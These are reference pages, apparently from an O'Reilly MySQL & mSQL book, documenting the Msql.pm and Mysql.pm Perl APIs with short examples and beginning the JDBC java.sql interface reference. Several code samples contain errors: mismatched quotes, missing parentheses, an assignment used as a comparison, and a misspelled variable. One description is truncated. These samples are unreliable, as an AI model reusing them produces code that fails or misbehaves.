Msql::listindex accepts the names of a table and the name of an index as its arguments and returns an array of statement handles containing information about each of the indices. Although this function is documented as returning an array of statement handles, we can find no case where more than one statement handle would be returned. Therefore it is probably safe to treat this function as returning a scalar statement handle. The statement handle is of the same style as a statement handle returned by Msql::query and can be accessed by the same functions. If the index does not exist, an undefined value undef is returned. The table of data returned about the index has one column, which has the title "Index". The first row is the type of index, which in mSQL 2.0 is always "avl". The other rows are the names of the fields that comprise the index. This function is valid only with mSQL 2.0 or greater database servers.

Example

use Msql;
my $db = Msql->connect;
$db->selectdb('mydata');
my $mytable_fields = $db->listfields('mytable');
my @indices = $mytable_fields->listindices;
# I now know the names of all of the indices.

foreach (@indices) {
   my $index_info_handle = $db->listindex('mytable',$_);
   my (@index_info) = $index_info_handle->fetchcol(0);
   my $type_of_index = shift(@index_info);
   # $type_of_index now contains the type of the index (probably 'avl')
   # and @index_info now contains a list of the fields in the index.
Msql::listtables
@tables = $db->listtables;
Msql::listtables returns an array of the tables available in the current database. If the database has no tables, the function returns an empty array.

Example

use Msql;
my $db = Msql->connect;

my @tables = $db->listtables;
my $database = $db->database;
print "$database has the following tables:\n\n"
                . join("\n",@tables);
Msql::query
$query_output = $db->query($sql_statement);
Msql::query is the most important and most frequently used function in the Msql.pm API. It is through this function that you actually send the SQL queries to the database server. The function takes a scalar string containing an SQL query as an argument. If the query is a SELECT statement, the function returns a statement handle containing the results of the query. Otherwise, the function returns the number of rows that were affected by the query. The statement handle can be accessed by the same functions listed for Msql::listfields (except for Msql::Statement::listindices) as well as the following: Msql::Statement::fetchrow, Msql::Statement::fetchcol, Msql::Statement::fetchhash, Msql::Statement::numrows, Msql::Statement::maxlength, and Msql::Statement::dataseek. If the query is unsuccessful for any reason, an undefined value undef is returned and the error is placed in Msql::errmsg. Each statement handle contains the output of a separate query. Therefore, you can send as many queries as your system can handle and then deal with each of the statement handles at your leisure.

Example

use Msql;
my $db = Msql->connect;
$db->selectdb('mydata');

my $query1 = "SELECT * FROM mytable";
my $query2 = "SELECT name, date FROM myothertable WHERE name LIKE 'Bob%'";
my $query3 = "UPDATE myothertable SET name='Bob' WHERE name='Joe'";

my $mytable_output = $db->query($query1);
my $myothertable_output = $db->query($query2);
my $myothertable_input = $db->query($query3);

# $mytable_output contains the results of the query on 'mytable'
# $myothertable_output contains the results of the query on 'myothertable'
print "The update on 'myothertable' affected $myothertable_input names\n";
$Msql::QUIET
The $Msql::QUIET variable, when true, turns off error reporting when the -' option is used in Perl. Otherwise, all MsqlPerl errors will be automatically sent to STDERR. The variable can be reset at any time. The -w error reporting feature is so useful that setting $Msql::QUIET is not recommended.

Example

use Msql;

# Turn off error reporting. This has an effect only if the script is being
# run with '-w'.
$Msql::QUIET = 1;

# Do noisy section...

# Turn error reporting back on.
$Msql::QUIET = undef;
Msql::quote
$quoted_string = $db->quote($string);
$truncated_quoted_string = $db->quote($string,$length);
Msql::quote takes as its argument a scalar string. It returns the same string quoted so that it is safe for insertion into a CHAR or TEXT field in the database. More specifically, it surrounds the string with single quotes, and uses backslashes to escape any single quotes already in the string. If a second argument is present, the result is truncated to be that many characters long.

Example

use Msql;
my $db = Msql->connect;

my $string = "This is a field's value";

my $qstring = $db->quote($string);

print qq%This now says "'This is a field\\'s value'" : $qstring\n%;
Msql::selectdb
$db->selectdb($database);
Msql::selectdb selects a database from the database server. If the selection fails, the error is placed in Msql::errmsg. The only effective way to test for the success of this function is to examine the value of $db->database and compare it to the database to which you intended to connect. You may switch databases at any time during your program.

Example

use Msql;
my $db = Msql->connect;

$db->selectdb('mydata');
# The database is now 'mydata'
if ($db->database ne 'mydata') {
                warn('AWOOOGA! The database wasn't properly selected!');
}
...
$db->selectdb('myotherdata');
# The database is now 'myotherdata'
Msql::shutdown
$result = $db->shutdown;
Msql::shutdown sends a shutdown command to the mSQL server. The command is sent as the user is running the program. Thus, to work in a CGI program, the program must be run as a user with the right to shutdown the database. The function returns -1 on failure and on success.

Example

use Msql;
my $db = Msql->connect;
# Time to shutdown the database...
my $result = $db->shutdown;
die "Command failed!" if $result == -1;
print "The server has been stopped.\n";
Msql::Statement::as_string
$formatted_table = $statement_handle->as_string;
Msql::Statement::as_string returns the data contained in the statement handle in a neatly formatted ASCII table. The table is similar to the ones used by the msql monitor. The pmsql program supplied with the Msql.pm module uses this function to generate its tables.

Example

use Msql;
my $db = Msql->connect;
$db->selectdb('mydata');
my $query = "SELECT * FROM mytable";
my $mytable_output = $db->query($query);

print "My Table:\n", $mytable_output->as_string;
# This prints the entire table in a fashion much cleaner than the
# Msql::Statement::fetchhash example.
Msql::Statement::dataseek
$statement_handle->dataseek($row_number);
Msql::Statement::dataseek takes the number of a row as its argument. The function resets the data so that the next call to Msql::Statement::fetchrow or Msql::Statement::fetchhash will return the information in that row. If a row number is supplied that is beyond the range of the table, the pointer is placed at the end of the table so that the next access will return an undefined value undef. The first row of the table is row number 0.

Example

use Msql;
my $db = Msql->connect;
$db->selectdb('mydata');
my $query = "SELECT name, date FROM myothertable";
my $myothertable_output = $db->query($query);

my @names = $myothertable_output->fetchcol(0);
my @dates = $myothertable_output->fetchcol(1);
# The pointer is now at the end of the table.

$myothertable_output->dataseek(0);
# The pointer is now reset to the beginning of the table.

print "This is the first row of data: ", $myothertable_output->fetchrow, "\n".
Msql::Statement::fetchcol
@column_of_data = $statement_handle->fetchcol($column_number);
Msql::Statement::fetchcol takes the number of a column as its argument and returns an array of all of the values in that column. Multiple calls return all columns in the same order, so that all of the values with a certain element number refer to the same row. The first output column is numbered 0. To perform this call, the module must read the entire table. Therefore, if you want to continue examining the table after using this function you have to reset the data using Msql::Statement::dataseek. An undefined value is returned. The function returns undef if an invalid column number is provided.

Example

use Msql;
my $db = Msql->connect;
$db->selectdb('mydata');
my $query = "SELECT name, date FROM myothertable WHERE name LIKE 'Bob%'";
my $myothertable_output = $db->query($query);

my @names = $myothertable_output->fetchcol(0);
# @names now contains all of the names.
my @dates = $myothertable_output->fetchcol(1);
# @dates now contains all of the dates.
for (0..$#names) {
   print "Row $_: $names[$_], $dates[$_]\n";
}
Msql::Statement::fetchhash
%hash = $statement_handle->fetchhash;
Msql::Statement::fetchhash ow of the statement handle as an associative array (or hash). The keys of the hash are the names of the fields and the values are the data values for the current row. Each successive call to the function returns the next row of data. When there is no more data, the function returns an undefined value undef.

Example

use Msql;
my $db = Msql->connect;
$db->selectdb('mydata');
my $query = "SELECT * FROM mytable";
my $mytable_output = $db->query($query);
my %first_data_row = $mytable_output->fetchhash;

my @fields = keys %first_data_row;
# @fields now contains all of the field names. Therefore there is never really
# any need to use Msql::listfields, since we can get that information along
# with a lot more through the statement handle returned from Msql::query.

my (%data_row);
print join("", @fields), "\n';
print "-"x70;
print join("", values(%first_data_row);
print join("", values(%data_row)) while %data_row = $mytable_output->fetchhash;
# This prints a complete dump of the table. (Albeit in a very misaligned format.
Msql::Statement::fetchrow
@row_of_data = $statement_handle->fetchrow;
Msql::Statement::fetchrow returns the next row of data from a statement handle generated by Msql::query. Each successive call to Msql::Statement::fetchrow returns the next row of data. When there is no more data, the function returns an undefined value undef. The elements in the resultant array are in the order specified in the original query. If the query was of the form SELECT * FROM . . ., the elements are ordered in the same sequence that the fields were defined in the table.

Example

use Msql;
my $db = Msql->connect;
$db->selectdb('mydata');
my $query1 = "SELECT * FROM mytable";
my $query2 = "SELECT name, date FROM myothertable WHERE name LIKE 'Bob%'";
my $mytable_output = $db->query($query1);
my $myothertable_output = $db->query($query2);
my $i = 0;

# This will keep reading the rows of data until there
# are no more left.
while (my(@mytable_rows)=$mytable_output->fetchrow) {
   print "Row ".$i++.": ".join(', ',@mytable_rows)."\n";
   # Unless I know something about the structure of 'mytable'
   # I have no idea how many elements are in @mytable_rows or
   # what order they are in.
}

my ($name, $date);

# This is the first row of data from $myothertable_output.
($name, $date) = $myothertable_output->fetchrow;
# This is the next row...
($name, $date) = $myothertable_output->fetchrow;
# And the next...
my @name_and_date = $myothertable_output->fetchrow;
# etc...
Msql::Statement::isnotnull
@not_null  = $statement_handle->isnotnull;
Msql::Statement::isnotnull returns a list of boolean values indicating if each of the columns of data contained in the statement handle have been defined as `NOT NULL'. When called in a scalar context the function returns a reference to an array.

Example

use Msql;
my $db = Msql->connect;
$db->selectdb('mydata');
my $output = $db->query("select * from mydata");
my @names = $output->name;

my @not_null = $output->isnotnull;
for (0..$#not_null) {
                print "$names[$_] is not null\n" if $not_null[$_];
}
Msql::Statement::isnum
@numbers  = $statement_handle->isnum;
Msql::Statement::isnum returns a list of boolean values indicating if each of the columns of data contained in the statement handle is a numerical value. When called in a scalar context, the function returns a reference to an array. Numerical values include types, such as `INT' and `REAL', but do not include a `CHAR' or `TEXT' field that contains numbers.

Example

use Msql;
my $db = Msql->connect;
$db->selectdb('mydata');
my $output = $db->query("select name, date from myothertable");

print "Name is a number" if $output->isnum->[0];
print "Date is a number" if $output->isnum->[1];
Msql::Statement::isprikey
@primary_key  = $statement_handle->isprikey;
Msql::Statement::isprikey returns a list of boolean values indicating if each of the columns of data contained in the statement handle is a primary key. When called in a scalar context, the function returns a reference to an array. This function will always return a list of 0's when connected to a mSQL 2 server because mSQL 2 does not use primary keys. However, this function is useful with mSQL 1 servers, which do implement primary keys.

Example

use Msql;
my $db = Msql->connect;
$db->selectdb('mydata');
my $output = $db->query("select * from mytable");

my @prikeys = $output->isprikey;
my $number_of_prikeys = scalar @prikeys;
print "There are $number_of_prikeys primary keys in this statement handle. ".
      "There are at least this many different tables in the query as each table".
      "can have only one primary key.\n";
Msql::Statement::length
@lengths  = $statement_handle->length;
Msql::Statement::length returns a list of the maximum possible length of each of the columns of data contained in the statement handle. These values are the maximums defined when the table was created. When called in a scalar context, the function returns a reference to an array.

Example

use Msql;
my $db = Msql->connect;
$db->selectdb('mydata');
my $output = $db->query("select * from mytable");
my @types = $output->type;

my @lengths = $output->length;
for (0..$#types) {
   if ($types[$_] == &Msql::CHAR_TYPE and $lengths[$_] > 1000000) {
      print "You've got one mighty big CHAR field in that table!\";
   }
}
Msql::Statement::listindices
@indices = $statement_handle->listindices;
Msql::Statement::listindices returns the indices associated with any of the fields found in the statement handle. Because the function looks for field names directly, it is useful only with names returned from Msql::listfields. If no indices are found, an undefined value undef is returned. This function can only be used with mSQL 2.0, or greater, database servers.

Example

use Msql;
my $db = Msql->connect;
$db->selectdb('mydata');
my $mytable_fields = $db->listfields('mytable');

my @indices = $mytable_fields->listindices;
print "'mytable' contains these indices: " . join(", ",@indices) . "\n";
Msql::Statement::maxlength
@max_lengths  = $statement_handle->maxlength;
Msql::Statement::maxlength returns a list of the actual maximum length of each field contained in the table. When called in a scalar context, the function returns a reference to an array. Since the mSQL server does not provide this information directly, this function is implemented by reading the entire table and searching for the maximum value of each field. Thus, with mSQL this function can be resource heavy when used with queries that return large amounts of information.

Example

use Msql;
$db = Msql->connect;
$db->selectdb('mydata');
my $output = $db->query('select name, date from myothertable');

print "The longest name is " . $ouput->maxlength->[0] . " characters long.\n";
Msql::Statement::name
@column_names  = $statement_handle->name;
Msql::Statement::name returns the names of the columns of data contained in the statement handle. When called in a scalar context the function returns a reference to an array. As with Msql::Statement::table, the scalar value of this list (as opposed to the value of the function when called in a scalar context) is identical to the value of Msql::Statement::numfields.

Example

use Msql;
my $db = Msql->connect;
$db->selectdb('mydata');
my $output = $db->query("select * from mytable");

my @column_names = $output->names;
# @column_names is now a list of the columns in 'mytable'
Msql::Statement::numfields
$number_of_fields = $statement_handle->numfields;
Msql::Statement::numfields returns the number of fields contained in a single row of the output stored in the statement handle. All output has at least one field, so this function will return a positive integer for any defined statement handle.

Example

use Msql;
my $db = Msql->connect;
$db->selectdb('mydata');
my $output = $db->query("select * from mytable");

my $numfields = $output->numfields;
my $numrows = $output->numrows;
print "There are $numfields field in each row of 'mytable'\n";
print "And there are $numrows rows of data. Thus, 'mytable'\n";
print "contains " . ($numfields*$numrows) . " cells of data.\n";
Msql::Statement::numrows
$number_of_rows = $statement_handle->numrows;
Msql::Statement::numrows returns the number of rows contained in the statement handle. If run on a statement handle that cannot contain any rows, such as one returned by Msql::listfields, the function returns the string `N/A.' If the statement handle could contain rows but does not, such as one returned by a SELECT that does not match any fields, the function returns 0.

Example

use Msql;
my $db = Msql->connect;
$db->selectdb('mydata');
my $output = $db->query("select * from mytable");

my $numrows = $output->numrows;
print "There are $numrows rows of data in 'mytable'\n";
Msql::Statement::table
@tables  = $statement_handle->table;
Msql::Statement::table returns a list of the tables associated with each of the columns of data contained in the statement handle. When called in a scalar context, the function returns a reference to an array. (See Msql::Statement::isnum for an example of how to use the array reference.) One entry is present for each column of data even if only one table was used in the query. As a side effect, the scalar value of the array returned by $statement_handle->table is the same value as $statement_handle->numfields.

Example

use Msql;
my $db = Msql->connect;
$db->selectdb('mydata');
my $output = $db->query('select myothertable.name, myothertable.date,
   mythirdtable.name from myothertable, mythirdtable where myothertable.name
   = mythirdtable.name');

my @tables = $output->table;
# @tables now contains ('myothertable', 'myothertable', 'mythirdtable')
Msql::Statement::type
@column_types  = $statement_handle->type;
Msql::Statement::type returns the types of the columns of data contained in the statement handle. When called in a scalar context the function returns a reference to an array. The pure value of this array is not of much use to most users (in the current implementation it is a list of integers). Rather, the values can be compared to the built-in values defined in Msql.pm such as &Msql::CHAR_TYPE and &Msql::INT_TYPE. One method of accessing this data is to build an array matching readable names to the predefined types. This method was demonstrated in Chapter 10, "Perl". Another method is demonstrated below.

Example

use Msql;
my $db = Msql->connect;
$db->selectdb('mydata');
my $output = $db->query("select name, date from myothertable");

my ($name_type, $date_type) = $output->type;
for ($name_type) {
   $_ eq &Msql::CHAR_TYPE and do { print 'name is a CHAR'; last; }
   $_ eq &Msql::INT_TYPE and do { print 'name is an INT'; last; }
   # etc...
}
# repeat for $date_type
Msql::sock
$sock = $db->sock;
Msql::sock returns a scalar containing the number of the socket used to connect with the mSQL server. This is generally useful only for real nuts and bolts programming.

Example

use Msql;
my $db = Msql->connect;

my $sock = $db->sock;

print "I am connected on socket $sock.\n";
Msql::*_TYPE
Msql.pm provides the following defined functions
that correspond to the mSQL datatypes:

&Msql::CHAR_TYPE

&Msql::INT_TYPE

&Msql::REAL_TYPE

&Msql::IDENT_TYPE

&Msql::TEXT_TYPE

&Msql::IDX_TYPE

&Msql::NULL_TYPE

&Msql::DATE_TYPE

&Msql::UINT_TYPE

&Msql::MONEY_TYPE

&Msql::TIME_TYPE

&Msql::SYSVAR_TYPE

Example

use Msql;

%types = (
                'CHAR' => &Msql::CHAR_TYPE,
                'INT' => &Msql::INT_TYPE,
                'REAL' => &Msql::REAL_TYPE,
                'SYSVAR' => &Msql::SYSVAR_TYPE,
                'TIME' => &Msql::TIME_TYPE,
                'MONEY' => &Msql::MONEY_TYPE,
                'UINT' => &Msql::UINT_TYPE,
                'TEXT' => &Msql::TEXT_TYPE,
                'NULL' => &Msql::NULL_TYPE,
                'DATE' => &Msql::DATE_TYPE,
                'IDENT' => &Msql::IDENT_TYPE,
                'IDX' => &Msql::IDX_TYPE,
);
# $types{'CHAR'} is now an easily accessible alias for
# &Msql::CHAR_TYPE. Having the values in %types gives you access to all of the
# handy hash functions such as keys() and values().
$Msql::VERSION
The $Msql::VERSION variable contains the version
of the Msql.pm module.

Example

use Msql;

print "You are using Msql.pm version $Msql::VERSION.\n";
Previous | Home | Next
21.2. DBI.pm API | Book Index | 21.4. Mysql.pm API
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Mysql.pm API (MySQL & mSQL)

 MySQL and mSQLSearch this book

21.4. Mysql.pm API

The Mysql.pm API is identical to the Msql API (with "Msql" replaced with "Mysql" in all places) except for the following differences.

Mysql::connect
$db = Mysql->connect($host, $database, $user, $password);
In addition to the three connect methods that are identical to Msql::connect, Mysql::connect provides a fourth method that requires an additional password argument. The first argument is the hostname or IP address of the MySQL server. If undef is passed as this argument, the module connects to the Unix-style socket on the localhost. The second argument is the name of the initial database to select. This can always be changed later with Mysql::selectdb. You may also supply undef as the second argument to select no initial database. The third argument is the username of the user connecting to the database. To successfully connect, the username must exist in the MySQL access tables. The final argument is the password of the user.

Example

use Mysql;

$db = Mysql->connect(undef,'mydata','webuser','super_secret_squirrel');
# The database handle is now connected to the local MySQL server using the
# database 'mydata'. The user name 'webuser' was used to connect who had
# the password 'super_secret_squirrel'.
Mysql::errno
$error_number = $db->errno;
Mysql::errno returns the error number of the last error. This error number corresponds to the error message returned from Msql::errmsg.

Example

use Mysql;
my $db = Mysql->connect(undef,'mydata','webuser','super_secret_squirrel');

# There is a parse error in this query...
my $output = $db->query('SELECT * from mydata');

if (not $output) {
                print "Error " . $output->errno . ": " . $output->errmsg . "\n";
}
Mysql::FIELD_TYPE_*
In addition to the Mysql::TYPE_* datatype
functions that are identical to the Msql::TYPE_*
functions, Mysql.pm provides these
extra datatype functions:

&Mysql::FIELD_TYPE_BLOB

&Mysql::FIELD_TYPE_CHAR

&Mysql::FIELD_TYPE_DECIMAL

&Mysql::FIELD_TYPE_DATE

&Mysql::FIELD_TYPE_DATETIME

&Mysql::FIELD_TYPE_DOUBLE

&Mysql::FIELD_TYPE_FLOAT

&Mysql::FIELD_TYPE_INT24

&Mysql::FIELD_TYPE_LONGLONG

&Mysql::FIELD_TYPE_LONG_BLOB

&Mysql::FIELD_TYPE_LONG

&Mysql::FIELD_TYPE_MEDIUM_BLOB

&Mysql::FIELD_TYPE_NULL

&Mysql::FIELD_TYPE_SHORT

&Mysql::FIELD_TYPE_STRING

&Mysql::FIELD_TYPE_TIME

&Mysql::FIELD_TYPE_TIMESTAMP

&Mysql::FIELD_TYPE_TINY_BLOB

&Mysql::FIELD_TYPE_VAR_STRING

Example

use Mysql;
my $db = Mysql->connect(undef,'mydata');
my $output = $db->query("SELECT name, data from myothertable");

if ($output->type->[0] = &Mysql::FIELD_TYPE_STRING) {
                print "Name is a STRING.\n";
}
Mysql::Statement::affectedrows
$number_of_affected_rows  = $statement_handle->affectedrows;
Msql::Statement::affectedrows returns the number of rows that were affected by the query. This function is useful since Mysql.pm returns a statement handle even on non-SELECT statements.

Example

use Mysql;
my $db = Mysql->connect(undef,'mydata');

my $output = $db->query("UPDATE mytable set name='bob' where name='joe'");
print $output->affectedrows . " rows were updated.\n";
Mysql::Statement::info
$info  = $sth->info;
Mysql::Statement::info returns extra results from certain queries that do not have specialized functions in Mysql.pm, such as ALTER TABLE and LOAD DATA INFILE. For example, when using LOAD DATA INFILE, Mysql::Statement::info returns the number of records inserted, the number deleted, the number skipped and the number of unparsable entries.

Example

use Mysql;
$db = Mysql->connect(undef,'mydata');

my $output = $db->query("LOAD DATA INFILE 'mydata.dat' INTO TABLE mytable");

my $info = $output->info($output);
print "LOAD DATA result: $info\n";
Mysql::Statement::insertid
$new_id  = $statement_handle->insertid;
Mysql::Statement::insertid returns the current value of the auto_increment field (if there is one) in the table. If there is no auto_increment field in the table, the function returns an undefined value undef.

Example

use Mysql;
my $db = Mysql->connect(undef,'mydata');

my $output = $db->query(
   "INSERT into mytable (id, name, date) VALUES ('','bob','today')";

my $new_id = $output->insertid;
print "Bob was entered with an ID number of $new_id.\n";
Mysql::Statement::isblob
@blobs  = $statement_handle->isblob;
Mysql::Statement::isblob returns a list of boolean values indicating if the fields contained in the statement handle are of a BLOB type. If called in a scalar context, the function returns a reference to an array.

Example

use Mysql;
$db = Mysql->connect(undef,'mydata');

my $output = $db->query('SELECT name, data from myothertable');

if ($output->isblob->[0]) {
                print "Name is a BLOB.\n";
} else {
                print "Name is not a BLOB.\n";
}
Mysql::query
Unlike Msql.pm, Mysql.pm returns a statement handle even with non-SELECT queries, such as INSERT, UPDATE, and DELETE.

Example

use Mysql;
my $db = Mysql->connect(undef,'mydata');

my $output = $db->query("UPDATE mytable set name='joe' where name='bob'");
# $output is a statement handle.
Previous | Home | Next
21.3. Msql.pm API | Book Index | 22. JDBC Reference
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


JDBC Reference (MySQL & mSQL)

 MySQL and mSQLSearch this book

Chapter 22. JDBC Reference

The java.sql package contains the entire JDBC API. It first became part of the core Java libraries with the 1.1 release. Classes new as of JDK 1.2 are indicated by the "Availability" header. Deprecated methods are preceded by a hash (#) mark. New JDK 1.2 methods in old JDK 1.1 classes are shown in bold. Figure 22-1 shows the entire java.sql package.

Figure 22-1. The classes and interfaces of the java.sql package

Array

Synopsis

Class Name: java.sql.Array

Superclass: None

Immediate Subclasses: None

Interfaces Implemented: None

Availability: New as of JDK 1.2

Description

The Array interface is a new addition to JDBC that supports SQL3 array objects. The default duration of a reference to a SQL array is for the life of the transaction in which it was created.

Class Summary

public interface Array {
    Object getArray() throws SQLException;
    Object getArray(Map map) throws SQLException;
    Object getArray(long index, int count)
        throws SQLException;
    Object getArray(long index, int count, Map map)
        throws SQLException;
    int getBaseType() throws SQLException;
    String getBaseTypeName() throws SQLException;
    ResultSet getResultSet() throws SQLException;
    ResultSet getResultSet(Map map) throws SQLException;
    ResultSet getResultSet(long index, int count)
        throws SQLException;
    ResultSet getResultSet(long index, int count,
                           Map map) throws SQLException
}

Object Methods

getArray( )
public Object getArray() throws SQLException
public Object getArray(Map map) throws SQLException
public Object getArray(long index, int count)
    throws SQLException
public Object getArray(long index, int count, Map map)
    throws SQLException

Description: Place the contents of this SQL array into a Java language array or, instead, into the Java type specified by a provided Map. If a map is specified but no match is found in there, then the default mapping to a Java array is used. The two versions that accept an array index and element count enable you to place a subset of the elements in the array.

getBaseType( )
public int getBaseType() throws SQLException

Description: Provides the JDBC type of the elements of this array.

getBaseTypeName( )
public String getBaseTypeName() throws SQLException

Description: Provides the SQL type name for the elements of this array.

getResultSet( )
public ResultSet getResultSet() throws SQLException
public ResultSet getResultSet(Map map)
    throws SQLException
public ResultSet getResultSet(long index, int count)
    throws SQLException
public ResultSet getResultSet(long index, int count,
                              Map map)
    throws SQLException

Description: Provides a result set that contains the array's elements as rows. If appropriate, the elements are mapped using the type map for the connection, or the specified type map if you pass one. Each row contains two columns: the first column is the index number (starting with 1), and the second column is the actual value.

Blob

Synopsis

Class Name: java.sql.Blob

Superclass: None

Immediate Subclasses: None

Interfaces Implemented: None

Availability: New as of JDK 1.2

Description

The JDBC Blob interface represents a SQL BLOB. BLOB stands for "binary large object" and is a relational database representation of a large piece of binary data. The value of using a BLOB is that you can manipulate the BLOB as a Java object without retrieving all of the data behind the BLOB from the database. A BLOB object is only valid for the duration of the transaction in which it was created.

Class Summary

public interface Blob {
    InputStream getBinaryStream() throws SQLException;
    byte[] getBytes(long pos, int count)
        throws SQLException;
    long length() throws SQLException;
    long position(byte[] pattern, long start)
        throws SQLException;
    long position(Blob pattern, long start)
        throws SQLException;
}

Object Methods

getBinaryStream( )
public InputStream getBinaryStream() throws SQLException

Description: Retrieves the data that makes up the binary object as a stream from the database.

getBytes( )
public byte[] getBytes(long pos, int count)
    throws SQLException

Description: Returns the data that makes up the underlying binary object in part or in whole as an array of bytes. You can get a subset of the binary data by specifying a nonzero starting index or by specifying a number of bytes less than the object's length.

length( )
public long length() throws SQLException

Description: Provides the number of bytes that make up the BLOB.

position( )
public long position(byte[] pattern, long start)
    throws SQLException
public long position(Blob pattern, long start)
    throws SQLException

Description: Searches this Blob for the specified pattern and returns the byte at which the specified pattern occurs within this Blob. If the pattern does not occur, then this method will return -1.

CallableStatement

Synopsis

Class Name: java.sql.CallableStatement

Superclass: java.sql.PreparedStatement

Immediate Subclasses: None

Interfaces Implemented: None

Availability: JDK 1.1

Description

The CallableStatement is an extension of the PreparedStatement interface that provides support for SQL stored procedures. It specifies methods that handle the binding of output parameters. JDBC prescribes a standard form in which stored procedures should appear independent of the DBMS being used. The format is:

{? = call ...}
{call ...}

Each question mark is a place holder for an input or output parameter. The first syntax provides for a single result parameter. The second syntax has no result parameters. The parameters are referred to sequentially with the first question mark holding the place for parameter 1.

Before executing a stored procedure, all output parameters should be registered using the registerOutParameter() method. You then bind the input parameters using the various set methods, and then execute the stored procedure.

Class Summary

public interface CallableStatement extends PreparedStatement {
    Array getArray(int index) throws SQLException;
    BigDecimal getBigDecimal(int index)
        throws SQLException;
    #BigDecimal getBigDecimal(int index, int scale)
        throws SQLException;
    Blob getBlob(int index) throws SQLException;
    boolean getBoolean(int index) throws SQLException;
    byte getByte(int index) throws SQLException;
    byte[] getBytes(int index) throws SQLException;
    Clob getClob(int index) throws SQLException;
    java.sql.Date getDate(int index, Calendar cal)
        throws SQLException;
    java.sql.Date getDate(int index) throws SQLException;
    double getDouble(int index) throws SQLException;
    float getFloat(int index) throws SQLException;
    int getInt(int index) throws SQLException;
    long getLong(int index) throws SQLException;
    Object getObject(int index) throws SQLException;
    Object getObject(int index, Map map)
        throws SQLException;
    Ref getRef(int index) throws SQLException;
    short getShort(int index) throws SQLException;
    String getString(int index) throws SQLException;
    java.sql.Time getTime(int index) throws SQLException;
    java.sql.Time getTime(int index, Calendar cal)
        throws SQLException;
    java.sql.Timestamp getTimestamp(int index)
        throws SQLException;
    java.sql.Timestamp getTimestamp(int index,
                                    Calendar cal)
        throws SQLException;
    void registerOutParameter(int index, int type)
        throws SQLException;
    void registerOutParameter(int index, int type,
                              int scale)
        throws SQLException;
    void registerOutParameter(int index, int type,
                              String typename)
        throws SQLException;
    boolean wasNull() throws SQLException;
}

Object Methods

getBigDecimal( )
public BigDecimal getBigDecimal(int index)
    throws SQLException
#public BigDecimal getBigDecimal(int index, int scale)
    throws SQLException

Description: Returns the value of the parameter specified by the index parameter as a Java BigDecimal with a scale specified by the scale argument. The scale is a nonnegative number representing the number of digits to the right of the decimal. Parameter indices start at 1; parameter 1 is thus index 1.

getArray( ), getBlob( ), getBoolean( ), getByte( ), getBytes( ), getClob( ), getDouble( ), getFloat( ), getInt( ), getLong( ), getRef( ), getShort( ), and getString( )
public Array getArray(int index)
    throws SQLException
public Blob getBlob(int index) throws SQLException
public boolean getBoolean(int index) throws SQLException
public byte getByte(int index) throws SQLException
public byte[] getBytes(int index) throws SQLException
public Clob getClob(int index) throws SQLException
public double getDouble(int index) throws SQLException
public float getFloat(int index) throws SQLException
public int getInt(int index) throws SQLException
public long getLong(int index) throws SQLException
public Ref getRef(int index) throws SQLException
public short getShort(int index) throws SQLException
public String getString(int index) throws SQLException

Description: Returns the value of the parameter specified by the index argument as the Java datatype indicated by the method name.

getDate( ), getTime( ), and getTimestamp( )
public Date getDate(int index) throws SQLException
public Date getDate(int index, Calendar cal)
    throws SQLException
public Time getTime(int index) throws SQLException
public Time getTime(int index, Calendar cal)
    throws SQLException
public Timestamp getTimestamp(int index)
    throws SQLException
public Timestamp getTimestamp(int index, Calendar cal)
    throws SQLException

Description: JDBC provides refinements on the basic java.util.Date object more suitable to database programming. These methods provide ways to access return values from a CallableStatement as a Date, Time, or Timestamp object. The new JDK 1.2 variants allow you to specify a Calendar.

getObject( )
public Object getObject(int index) throws SQLException
public Object getObject(int index, Map map)
    throws SQLException

Description: Like the other getXXX() methods, this method returns the value of the specified output parameter. In the case of getObject(), however, the JDBC driver chooses the Java class that corresponds to the SQL type registered for this parameter using registerOutParameter() or according to the specified type map.

registerOutParameter( )
public void registerOutParameter(int index, int type)
    throws SQLException
public void registerOutParameter(int index, int type,
                                 int scale)
    throws SQLException
public void registerOutParameter(int index, int type,
                                 String typename)
    throws SQLException

Description: Before executing any stored procedure using a CallableStatement, you must register each of the output parameters. This method registers the java.sql.Type of an output parameter for a stored procedure. The first parameter specifies the output parameter being registered and the second the java.sql.Type to register. The three-argument version of this method is for BigDecimal types that require a scale. You later read the output parameters using the corresponding getXXX() method or getObject(). The third version of this method is new to JDK 1.2 and provides a way to map REF SQL types or custom SQL types.

wasNull( )
public boolean wasNull() throws SQLException

Description: If the last value you read using a getXXX() call was SQL NULL, this method will return true.

Clob

Synopsis

Class Name: java.sql.Clob

Superclass: None

Immediate Subclasses: None

Interfaces Implemented: None

Availability: New as of JDK 1.2

Description

CLOB is a SQL3 type that stands for "character large object." Like a BLOB, a CLOB represents a very large chunk of data in the database. Unlike a BLOB, a CLOB represents text stored using some sort of character encoding. The point of a CLOB type as opposed to a CHAR or VARCHAR type is that CLOB data, like BLOB data, can be retrieved as a stream instead of all at once.

Class Summary

public interface Clob {
    InputStream getAsciiStream() throws SQLException;
    Reader getCharacterStream() throws SQLException;
    String getSubString(long pos, int count)
        throws SQLException;
    long length() throws SQLException;
    long position(String pattern, long start)
        throws SQLException;
    long position(Clob pattern, long start)
        throws SQLException;
}

Object Methods

getAsciiStream( )
public InputStream getAsciiStream() throws SQLException

Description: Provides access to the data that makes up this Clob via an ASCII stream.

getCharacterStream( )
public Reader getCharacterStream() throws SQLException

Description: Provides access to the data that makes up this Clob via a Unicode stream.

getSubString( )
public String getSubString(long pos, int count)
    throws SQLException

Description: Returns a substring of the Clob starting at the named position up to the number of character specified by the count value.

length( )
public long length() throws SQLException

Description: Provides the number of characters that make up the Clob.

position( )
public long position(String pattern, long start)
    throws SQLException;
public long position(Clob pattern, long start)
    throws SQLException;

Description: Searches the Clob for the specified pattern starting at the specified start point. If the pattern is found within the Clob, the index at which the pattern first occurs is returned. If it does not exist within the Clob, then this method returns -1.

Connection

Synopsis

Class Name: java.sql.Connection

Superclass: None

Immediate Subclasses: None

Interfaces Implemented: None

Availability: JDK 1.1

Description

The Connection class is the JDBC representation of a database session. It provides an application with Statement objects (and its subclasses) for that session. It also handles the transaction management for those statements. By default, each statement is committed immediately upon execution. You can use the Connection object to turn off this Autocommit feature for the session. In that event, you must expressly send commits, or any statements executed will be lost.

Class Summary

public interface Connection {
    static public final int TRANSACTION_NONE;
    static public final int TRANSACTION_READ_UNCOMMITTED;
    static public final int TRANSACTION_READ_COMMITTED;
    static public final int TRANSACTION_REPEATABLE_READ;
